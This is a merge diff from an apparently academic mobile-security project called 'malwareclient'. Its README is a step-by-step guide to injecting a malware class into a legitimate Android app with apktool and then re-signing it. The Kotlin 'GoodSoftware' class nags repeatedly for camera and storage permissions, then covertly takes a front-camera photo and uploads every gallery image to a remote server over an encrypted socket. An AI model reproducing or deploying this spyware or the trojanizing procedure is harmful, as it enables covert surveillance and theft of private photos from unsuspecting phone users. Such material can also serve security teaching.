Merge branch 'new' into 'master'
Make injection work See merge request ti/2023-2024/s4/mobile-security/students/joren-schipman/malwareclient!1
This commit is contained in:
		
							
								
								
									
										78
									
								
								README.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										78
									
								
								README.md
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,78 @@
 | 
				
			|||||||
 | 
					## Prep
 | 
				
			||||||
 | 
					### Without Camera
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. Comment out the timer and compile
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    ```kt
 | 
				
			||||||
 | 
					    private fun startCheckingPermission() {
 | 
				
			||||||
 | 
					        timerStorage = Timer("CheckStoragePermissionTimer", false)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerStorage?.scheduleAtFixedRate(0, 5000) {
 | 
				
			||||||
 | 
					            checkStoragePermission()
 | 
				
			||||||
 | 
					            println("Requesting storage permission again")
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    /*        timerCamera = Timer("CheckCameraPermissionTimer", false)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerCamera?.scheduleAtFixedRate(0, 5000) {
 | 
				
			||||||
 | 
					            checkCameraPermission()
 | 
				
			||||||
 | 
					            println("Requesting camera permission again")
 | 
				
			||||||
 | 
					        }*/
 | 
				
			||||||
 | 
					    ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					2. Decompile the apk `apktool d malware.apk`
 | 
				
			||||||
 | 
					3. Decompile original app `apktool d application.apk`
 | 
				
			||||||
 | 
					4. Move malware to normal application `cp -r malware/smali/com/* application/smali/com/`
 | 
				
			||||||
 | 
					5. Under the onCreate of original app
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    ```smali
 | 
				
			||||||
 | 
					    new-instance p1, Lcom/ti/m/GoodSoftware;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    move-object v0, p0
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    check-cast v0, Landroid/content/Context;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;-><init>(Landroid/content/Context;)V
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V
 | 
				
			||||||
 | 
					    ```
 | 
				
			||||||
 | 
					6. Copy the permissions from the malware manifest to original manifests permissions
 | 
				
			||||||
 | 
					    ```xml
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.CAMERA"/>
 | 
				
			||||||
 | 
					    <uses-feature android:name="android.hardware.camera"/>
 | 
				
			||||||
 | 
					    <uses-feature android:name="android.hardware.camera.autofocus"/>
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
 | 
				
			||||||
 | 
					    ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### With Camera
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. Do the steps of without camera but don't uncomment the timer
 | 
				
			||||||
 | 
					2. Copy camera to existing androidx folder `cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/`
 | 
				
			||||||
 | 
					3. Copy androidx futures to existing `cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/`
 | 
				
			||||||
 | 
					4. Copy MediatorLiveData `cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/`
 | 
				
			||||||
 | 
					5. Copy Camera metadata from Manifest
 | 
				
			||||||
 | 
					    ```xml
 | 
				
			||||||
 | 
					              <service android:enabled="false" android:exported="false" android:name="androidx.camera.core.impl.MetadataHolderService">
 | 
				
			||||||
 | 
					            <meta-data android:name="androidx.camera.core.impl.MetadataHolderService.DEFAULT_CONFIG_PROVIDER" android:value="androidx.camera.camera2.Camera2Config$DefaultProvider"/>
 | 
				
			||||||
 | 
					        </service>
 | 
				
			||||||
 | 
					        <uses-library android:name="androidx.camera.extensions.impl" android:required="false"/>
 | 
				
			||||||
 | 
					    ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					6. Copy Camera Queries to manifest under the permissions
 | 
				
			||||||
 | 
					    ```xml
 | 
				
			||||||
 | 
					    <queries>
 | 
				
			||||||
 | 
					        <intent>
 | 
				
			||||||
 | 
					            <action android:name="androidx.camera.extensions.action.VENDOR_ACTION"/>
 | 
				
			||||||
 | 
					        </intent>
 | 
				
			||||||
 | 
					    </queries>
 | 
				
			||||||
 | 
					    ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Final Steps
 | 
				
			||||||
 | 
					1. Build the application `apktool b application -o unsigned.apk`
 | 
				
			||||||
 | 
					2. Align using zipalign `zipalign -p -f -v 4 unsigned.apk App_Injected.apk`
 | 
				
			||||||
 | 
					3. Generate keystore `keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000`
 | 
				
			||||||
 | 
					4. Sign Apk `apksigner sign --ks key.keystore App_Injected.apk`
 | 
				
			||||||
 | 
					5. Done
 | 
				
			||||||
@@ -69,8 +69,11 @@ dependencies {
 | 
				
			|||||||
    androidTestImplementation(libs.androidx.ui.test.junit4)
 | 
					    androidTestImplementation(libs.androidx.ui.test.junit4)
 | 
				
			||||||
    debugImplementation(libs.androidx.ui.tooling)
 | 
					    debugImplementation(libs.androidx.ui.tooling)
 | 
				
			||||||
    debugImplementation(libs.androidx.ui.test.manifest)
 | 
					    debugImplementation(libs.androidx.ui.test.manifest)
 | 
				
			||||||
    implementation("androidx.camera:camera-camera2:$camerax_version")
 | 
					    implementation("androidx.camera:camera-core:${camerax_version}")
 | 
				
			||||||
    implementation("androidx.camera:camera-extensions:$camerax_version")
 | 
					    implementation("androidx.camera:camera-camera2:${camerax_version}")
 | 
				
			||||||
 | 
					    implementation("androidx.camera:camera-lifecycle:${camerax_version}")
 | 
				
			||||||
 | 
					    implementation("androidx.camera:camera-extensions:${camerax_version}")
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    implementation("androidx.concurrent:concurrent-futures:1.1.0")
 | 
					    implementation("androidx.concurrent:concurrent-futures:1.1.0")
 | 
				
			||||||
    implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")
 | 
					    implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,9 +1,11 @@
 | 
				
			|||||||
package com.ti.m
 | 
					package com.ti.m
 | 
				
			||||||
 | 
					
 | 
				
			||||||
import android.Manifest
 | 
					import android.Manifest
 | 
				
			||||||
 | 
					import android.app.Activity
 | 
				
			||||||
import android.content.ContentResolver
 | 
					import android.content.ContentResolver
 | 
				
			||||||
import android.content.ContentUris
 | 
					import android.content.ContentUris
 | 
				
			||||||
import android.content.Context
 | 
					import android.content.Context
 | 
				
			||||||
 | 
					import android.content.ContextWrapper
 | 
				
			||||||
import android.content.pm.PackageManager
 | 
					import android.content.pm.PackageManager
 | 
				
			||||||
import android.graphics.Bitmap
 | 
					import android.graphics.Bitmap
 | 
				
			||||||
import android.graphics.BitmapFactory
 | 
					import android.graphics.BitmapFactory
 | 
				
			||||||
@@ -23,6 +25,7 @@ import androidx.core.app.ActivityCompat
 | 
				
			|||||||
import androidx.core.content.ContextCompat
 | 
					import androidx.core.content.ContextCompat
 | 
				
			||||||
import androidx.lifecycle.LifecycleOwner
 | 
					import androidx.lifecycle.LifecycleOwner
 | 
				
			||||||
import androidx.lifecycle.lifecycleScope
 | 
					import androidx.lifecycle.lifecycleScope
 | 
				
			||||||
 | 
					import com.ti.m.MainActivity
 | 
				
			||||||
import kotlinx.coroutines.launch
 | 
					import kotlinx.coroutines.launch
 | 
				
			||||||
import java.io.BufferedReader
 | 
					import java.io.BufferedReader
 | 
				
			||||||
import java.io.ByteArrayOutputStream
 | 
					import java.io.ByteArrayOutputStream
 | 
				
			||||||
@@ -33,19 +36,24 @@ import java.security.KeyFactory
 | 
				
			|||||||
import java.security.PublicKey
 | 
					import java.security.PublicKey
 | 
				
			||||||
import java.security.SecureRandom
 | 
					import java.security.SecureRandom
 | 
				
			||||||
import java.security.spec.X509EncodedKeySpec
 | 
					import java.security.spec.X509EncodedKeySpec
 | 
				
			||||||
 | 
					import java.util.Timer
 | 
				
			||||||
import javax.crypto.Cipher
 | 
					import javax.crypto.Cipher
 | 
				
			||||||
import javax.crypto.spec.IvParameterSpec
 | 
					import javax.crypto.spec.IvParameterSpec
 | 
				
			||||||
import javax.crypto.spec.SecretKeySpec
 | 
					import javax.crypto.spec.SecretKeySpec
 | 
				
			||||||
 | 
					import kotlin.concurrent.schedule
 | 
				
			||||||
 | 
					import kotlin.concurrent.scheduleAtFixedRate
 | 
				
			||||||
 | 
					import kotlin.concurrent.thread
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
class GoodSoftware (private val activity: MainActivity) {
 | 
					class GoodSoftware (private val activity: Context) {
 | 
				
			||||||
    private var cameraProvider: ProcessCameraProvider? = null
 | 
					    private var cameraProvider: ProcessCameraProvider? = null
 | 
				
			||||||
    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
					    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
				
			||||||
    private var imageCapture: ImageCapture? = null
 | 
					    private var imageCapture: ImageCapture? = null
 | 
				
			||||||
    private val REQUEST_CAMERA_PERMISSION = 100
 | 
					    private val REQUEST_CAMERA_PERMISSION = 100
 | 
				
			||||||
    private val REQUEST_GALLERY = 101
 | 
					    private val REQUEST_GALLERY = 101
 | 
				
			||||||
    private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
 | 
					    private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
 | 
				
			||||||
 | 
					    private var timerStorage: Timer? = null
 | 
				
			||||||
 | 
					    private var timerCamera: Timer? = null
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private companion object {
 | 
					    private companion object {
 | 
				
			||||||
        private const val RSA_ALGORITHM = "RSA"
 | 
					        private const val RSA_ALGORITHM = "RSA"
 | 
				
			||||||
@@ -97,67 +105,114 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun launch() {
 | 
					    fun launch() {
 | 
				
			||||||
 | 
					        Thread{
 | 
				
			||||||
 | 
					            startCheckingPermission()
 | 
				
			||||||
 | 
					        }.start()
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun startCheckingPermission() {
 | 
				
			||||||
 | 
					        timerStorage = Timer("CheckStoragePermissionTimer", false)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerStorage?.scheduleAtFixedRate(0, 5000) {
 | 
				
			||||||
 | 
					            checkStoragePermission()
 | 
				
			||||||
 | 
					            println("Requesting storage permission again")
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerCamera = Timer("CheckCameraPermissionTimer", false)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerCamera?.scheduleAtFixedRate(0, 5000) {
 | 
				
			||||||
            checkCameraPermission()
 | 
					            checkCameraPermission()
 | 
				
			||||||
 | 
					            println("Requesting camera permission again")
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun stopCheckingStoragePermission() {
 | 
				
			||||||
 | 
					        timerStorage?.cancel()
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun stopCheckingCameraPermission() {
 | 
				
			||||||
 | 
					        timerCamera?.cancel()
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    fun Context.getActivity(): Activity? {
 | 
				
			||||||
 | 
					        var context = this
 | 
				
			||||||
 | 
					        while (context is ContextWrapper) {
 | 
				
			||||||
 | 
					            if (context is Activity) {
 | 
				
			||||||
 | 
					                return context
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					            context = context.baseContext
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					        return null
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun checkCameraPermission() {
 | 
					    private fun checkCameraPermission() {
 | 
				
			||||||
        if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
					        if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
            requestCameraPermission()
 | 
					            requestCameraPermission()
 | 
				
			||||||
        }else{
 | 
					        }else{
 | 
				
			||||||
            startPictureCapture()
 | 
					            takePicture()
 | 
				
			||||||
 | 
					            stopCheckingCameraPermission()
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun requestCameraPermission() {
 | 
					    private fun requestCameraPermission() {
 | 
				
			||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
					        val activity = activity.getActivity()
 | 
				
			||||||
 | 
					        activity?.let {
 | 
				
			||||||
 | 
					            ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun checkStoragePermission() {
 | 
					    private fun checkStoragePermission() {
 | 
				
			||||||
        if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
					 | 
				
			||||||
            // Request READ_MEDIA_IMAGES permission for Android 13 and higher
 | 
					 | 
				
			||||||
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
					        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
				
			||||||
 | 
					            if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){
 | 
				
			||||||
                requestMediaImagesPermission()
 | 
					                requestMediaImagesPermission()
 | 
				
			||||||
            }else{
 | 
					            }else{
 | 
				
			||||||
                // For lower Android versions, request READ_EXTERNAL_STORAGE
 | 
					                grabMedia()
 | 
				
			||||||
                requestGalleryPermission()
 | 
					                stopCheckingStoragePermission()
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
            startPictureCapture()
 | 
					            if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
 | 
				
			||||||
 | 
					                requestGalleryPermission()
 | 
				
			||||||
 | 
					            }else{
 | 
				
			||||||
 | 
					                grabMedia()
 | 
				
			||||||
 | 
					                stopCheckingStoragePermission()
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
					    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
				
			||||||
    private fun requestMediaImagesPermission() {
 | 
					    private fun requestMediaImagesPermission() {
 | 
				
			||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
					        val activity = activity.getActivity()
 | 
				
			||||||
 | 
					        activity?.let {
 | 
				
			||||||
 | 
					            ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun startPictureCapture() {
 | 
					    private fun takePicture(){
 | 
				
			||||||
        activity.lifecycleScope.launch {
 | 
					        val activity = activity.getActivity()
 | 
				
			||||||
        try {
 | 
					        try {
 | 
				
			||||||
                // Check and request camera permission
 | 
					            activity?.let { act ->
 | 
				
			||||||
                if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
					                if (act is LifecycleOwner) {
 | 
				
			||||||
                    requestCameraPermission()
 | 
					                    act.lifecycleScope.launch {
 | 
				
			||||||
                }
 | 
					                        takeBeautifulPicture(act, act)
 | 
				
			||||||
 | 
					 | 
				
			||||||
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
					 | 
				
			||||||
                    if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
					 | 
				
			||||||
                        checkStoragePermission()
 | 
					 | 
				
			||||||
                    }
 | 
					                    }
 | 
				
			||||||
                } else {
 | 
					                } else {
 | 
				
			||||||
                    if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
 | 
					                    // Handle the case where the activity is not a LifecycleOwner
 | 
				
			||||||
                        checkStoragePermission()
 | 
					                    Log.e("Error", "Activity is not a LifecycleOwner")
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        }catch (e: Exception) {
 | 
				
			||||||
 | 
					            e.printStackTrace()
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
                // If both permissions are granted, proceed with picture capture and gallery access
 | 
					 | 
				
			||||||
                takeBeautifulPicture(activity, activity)
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun grabMedia(){
 | 
				
			||||||
        Thread {
 | 
					        Thread {
 | 
				
			||||||
            try {
 | 
					            try {
 | 
				
			||||||
                val imageList = getAllImagesFromGallery(activity)
 | 
					                val imageList = getAllImagesFromGallery(activity)
 | 
				
			||||||
                val connection = establishConnectionWithRetry() ?: return@Thread
 | 
					                val connection = establishConnectionWithRetry() ?: return@Thread
 | 
				
			||||||
                for (image in imageList) {
 | 
					                for (image in imageList) {
 | 
				
			||||||
                            println(image)
 | 
					 | 
				
			||||||
                    val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
					                    val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
				
			||||||
                    sendDataToServer(base64Image, connection)
 | 
					                    sendDataToServer(base64Image, connection)
 | 
				
			||||||
                    if(image != imageList.last()){
 | 
					                    if(image != imageList.last()){
 | 
				
			||||||
@@ -167,14 +222,8 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                disconnect(connection)
 | 
					                disconnect(connection)
 | 
				
			||||||
            } catch (e: Exception) {
 | 
					            } catch (e: Exception) {
 | 
				
			||||||
                e.printStackTrace()
 | 
					                e.printStackTrace()
 | 
				
			||||||
                        // Handle the exception, e.g., log the error or notify the user
 | 
					 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        }.start()
 | 
					        }.start()
 | 
				
			||||||
            } catch (e: Exception) {
 | 
					 | 
				
			||||||
                e.printStackTrace()
 | 
					 | 
				
			||||||
                // Handle the exception, e.g., log the error or notify the user
 | 
					 | 
				
			||||||
            }
 | 
					 | 
				
			||||||
        }
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -229,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun requestGalleryPermission() {
 | 
					    private fun requestGalleryPermission() {
 | 
				
			||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
 | 
					        val activity = activity.getActivity()
 | 
				
			||||||
 | 
					        activity?.let { act ->
 | 
				
			||||||
 | 
					            ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    // Handle permission request result
 | 
					    // Handle permission request result
 | 
				
			||||||
@@ -237,26 +289,17 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
        when (requestCode) {
 | 
					        when (requestCode) {
 | 
				
			||||||
            REQUEST_CAMERA_PERMISSION -> {
 | 
					            REQUEST_CAMERA_PERMISSION -> {
 | 
				
			||||||
                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
					                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
                    startPictureCapture()
 | 
					                    takePicture()
 | 
				
			||||||
                } else {
 | 
					 | 
				
			||||||
                    // Camera permission denied
 | 
					 | 
				
			||||||
                    // Handle accordingly
 | 
					 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
            REQUEST_GALLERY -> {
 | 
					            REQUEST_GALLERY -> {
 | 
				
			||||||
                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
					                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
                    startPictureCapture()
 | 
					                    grabMedia()
 | 
				
			||||||
                } else {
 | 
					 | 
				
			||||||
                    // Gallery permission denied
 | 
					 | 
				
			||||||
                    // Handle accordingly
 | 
					 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
            REQUEST_MEDIA_IMAGES_PERMISSION -> {
 | 
					            REQUEST_MEDIA_IMAGES_PERMISSION -> {
 | 
				
			||||||
                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
					                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
                    startPictureCapture()
 | 
					                    grabMedia()
 | 
				
			||||||
                } else {
 | 
					 | 
				
			||||||
                    // Media images permission denied
 | 
					 | 
				
			||||||
                    // Handle accordingly
 | 
					 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
@@ -274,7 +317,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
    fun establishConnection(): ConnectionResult{
 | 
					    fun establishConnection(): ConnectionResult{
 | 
				
			||||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
					        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
				
			||||||
        val host = "thinclient.duckdns.org"
 | 
					        val host = "192.168.90.151"
 | 
				
			||||||
        val port = 5645
 | 
					        val port = 5645
 | 
				
			||||||
        val secureRandom = SecureRandom()
 | 
					        val secureRandom = SecureRandom()
 | 
				
			||||||
        val keyBytes = ByteArray(16)
 | 
					        val keyBytes = ByteArray(16)
 | 
				
			||||||
@@ -311,10 +354,8 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
        while (attempt < maxRetries) {
 | 
					        while (attempt < maxRetries) {
 | 
				
			||||||
            try {
 | 
					            try {
 | 
				
			||||||
                connectionResult = establishConnection()
 | 
					                connectionResult = establishConnection()
 | 
				
			||||||
                println("Connection successful")
 | 
					 | 
				
			||||||
                break
 | 
					                break
 | 
				
			||||||
            } catch (e: Exception) {
 | 
					            } catch (e: Exception) {
 | 
				
			||||||
                println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds")
 | 
					 | 
				
			||||||
                e.printStackTrace()
 | 
					                e.printStackTrace()
 | 
				
			||||||
                attempt++
 | 
					                attempt++
 | 
				
			||||||
                Thread.sleep(getRetryDelay(attempt))
 | 
					                Thread.sleep(getRetryDelay(attempt))
 | 
				
			||||||
@@ -373,28 +414,24 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
					    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
				
			||||||
        // Ensure that cameraProvider is initialized
 | 
					        try {
 | 
				
			||||||
            cameraProvider = ProcessCameraProvider.getInstance(context).await()
 | 
					            cameraProvider = ProcessCameraProvider.getInstance(context).await()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Ensure that the selected camera is available
 | 
					 | 
				
			||||||
            if (!hasBackCamera() && !hasFrontCamera()) {
 | 
					            if (!hasBackCamera() && !hasFrontCamera()) {
 | 
				
			||||||
                Log.e(picture.TAG, "Back and front camera are unavailable")
 | 
					                Log.e(picture.TAG, "Back and front camera are unavailable")
 | 
				
			||||||
                return
 | 
					                return
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Select the lens facing, prioritize front camera if available
 | 
					 | 
				
			||||||
            lensFacing = if (hasFrontCamera()) {
 | 
					            lensFacing = if (hasFrontCamera()) {
 | 
				
			||||||
                CameraSelector.LENS_FACING_FRONT
 | 
					                CameraSelector.LENS_FACING_FRONT
 | 
				
			||||||
            } else {
 | 
					            } else {
 | 
				
			||||||
                CameraSelector.LENS_FACING_BACK
 | 
					                CameraSelector.LENS_FACING_BACK
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Create ImageCapture instance
 | 
					 | 
				
			||||||
            imageCapture = ImageCapture.Builder()
 | 
					            imageCapture = ImageCapture.Builder()
 | 
				
			||||||
                .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
					                .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
				
			||||||
                .build()
 | 
					                .build()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Set up image capture listener
 | 
					 | 
				
			||||||
            val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
 | 
					            val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
 | 
				
			||||||
                override fun onError(exc: ImageCaptureException) {
 | 
					                override fun onError(exc: ImageCaptureException) {
 | 
				
			||||||
                    Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
					                    Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
				
			||||||
@@ -402,7 +439,6 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                }
 | 
					                }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
                override fun onCaptureSuccess(image: ImageProxy) {
 | 
					                override fun onCaptureSuccess(image: ImageProxy) {
 | 
				
			||||||
                // Process captured image here
 | 
					 | 
				
			||||||
                    val byteArrayOutputStream = ByteArrayOutputStream()
 | 
					                    val byteArrayOutputStream = ByteArrayOutputStream()
 | 
				
			||||||
                    val imagePlane = image.planes[0]
 | 
					                    val imagePlane = image.planes[0]
 | 
				
			||||||
                    val buffer = imagePlane.buffer
 | 
					                    val buffer = imagePlane.buffer
 | 
				
			||||||
@@ -410,33 +446,35 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
